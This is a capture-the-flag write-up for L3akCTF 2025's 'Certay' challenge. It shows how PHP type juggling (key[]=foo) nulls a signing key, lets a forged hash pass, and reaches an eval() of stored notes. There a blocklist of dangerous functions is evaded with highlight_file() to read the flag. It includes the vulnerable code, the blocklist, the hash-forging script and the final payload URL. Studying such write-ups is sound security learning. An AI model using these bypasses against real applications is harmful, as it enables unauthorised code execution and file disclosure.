L3akCTF 2025 - Certay
A mixture of variable confusion, type juggling and broken crypto, let’s take a look.
Examining the vulnerability
We have a few different files at our disposal, but the only one we care about is dashboard.php
.
There are a few glaring issues with the code that stand out at a glance
define('yek', $_SESSION['yek']);
...
if (!isset($_SESSION['yek'])) {
$_SESSION['yek'] = openssl_random_pseudo_bytes(
openssl_cipher_iv_length('aes-256-cbc')
);
}
At first, this could seem like it spells disaster for us, if it wasn’t for the fact that yek
isn’t actually used in the code:
if (custom_sign($_GET['msg'], $yek, safe_sign($_GET['key'])) === $_GET['hash'])
This custom_sign
function takes in $yek
instead, which is undefined.
Likewise, safe_sign
uses iv
, which is also undefined, this causes PHP to take ‘iv’ as a literal instead
function safe_sign($data) {
return openssl_encrypt($data, 'aes-256-cbc', KEY, 0, iv);
}
(Note: this behavior has been deprecated in recent versions)
KEY is hard-coded in config.php
, but we don’t really care about that.
Why?
The exploit
We can use PHP type juggling to input the key parameter as an array instead of a string:
dashboard.php?key[]=foo
This makes safe_sign
return NULL, which in turn grants us the ability to fully manipulate custom_sign
:
custom_sign($_GET['msg'], $yek, safe_sign($_GET['key'])) === custom_sign($_GET['msg'], NULL, NULL)
This is equivalent to
openssl_encrypt($msg, 'aes-256-cbc', NULL, 0, NULL)
We can therefore calculate the hash offline for a specific message and use it, along with said message, to access this part of the code:
echo "<div class='success'>Wow! Hello buddy I know you! Here is your secret files:</div>";
$stmt = $db->prepare("SELECT content FROM notes WHERE user_id = ?");
$stmt->execute([$_SESSION['user_id']]);
$notes = $stmt->fetchAll(PDO::FETCH_ASSOC);
if (!$notes) {
echo "<p>Nothing here.</p>";
} else {
foreach ($notes as $note) {
$content = $note['content'];
if (strpos($content, '`') !== false) {
echo 'You are a betrayer!';
continue;
}
$isBetrayal = false;
foreach ($dangerous as $func) {
if (preg_match('/\b' . preg_quote($func, '/') . '\s*\(/i', $content)) {
$isBetrayal = true;
break;
}
}
if ($isBetrayal) {
echo 'You are a betrayer!';
continue;
}
try {
eval($content);
} catch (Throwable $e) {
echo "<pre class='error'>Eval error: "
. htmlspecialchars($e->getMessage())
. "</pre>";
}
}
}
But we still have to bypass the blocklist:
$dangerous = [
'exec', 'shell_exec', 'system', 'passthru', 'proc_open', 'popen', '$', '`',
'curl_exec', 'curl_multi_exec', 'eval', 'assert', 'create_function',
'include', 'include_once', 'require', 'require_once', "file_get_contents",
'readfile', 'fopen', 'fwrite', 'fclose', 'unlink', 'rmdir',
'copy', 'rename', 'chmod', 'chown', 'chgrp', 'touch', 'mkdir',
'rmdir', 'fseek', 'fread', 'fgets', 'fgetcsv',
'file_put_contents', 'stream_get_contents', 'stream_copy_to_stream',
'stream_get_line', 'stream_set_blocking', 'stream_set_timeout',
'stream_select', 'stream_socket_client', 'stream_socket_server',
'stream_socket_accept', 'stream_socket_recvfrom', 'stream_socket_sendto',
'stream_socket_get_name', 'stream_socket_pair', 'stream_context_create',
'stream_context_set_option', 'stream_context_get_options'
];
But that’s easy enough: highlight_file('/tmp/flag.txt');
will do.
Putting it all together
Let’s compute the hash for message testmessage
offline:
<?php
$msg = 'testmessage'; // scegli tu
$hash = openssl_encrypt('testmessage', 'aes-256-cbc', NULL, 0, NULL);
echo $hash;
?>
E/fVzDJCHnsOolo60416CQ==
The final payload thus becomes:
`dashboard.php?key[]=foo&msg=testmessage&hash=E/fVzDJCHnsOolo60416CQ==`
`highlight_file('/tmp/flag.txt');`
L3AK{N0t_4_5ecret_4nYm0r3333!!5215kgfr5s85z9}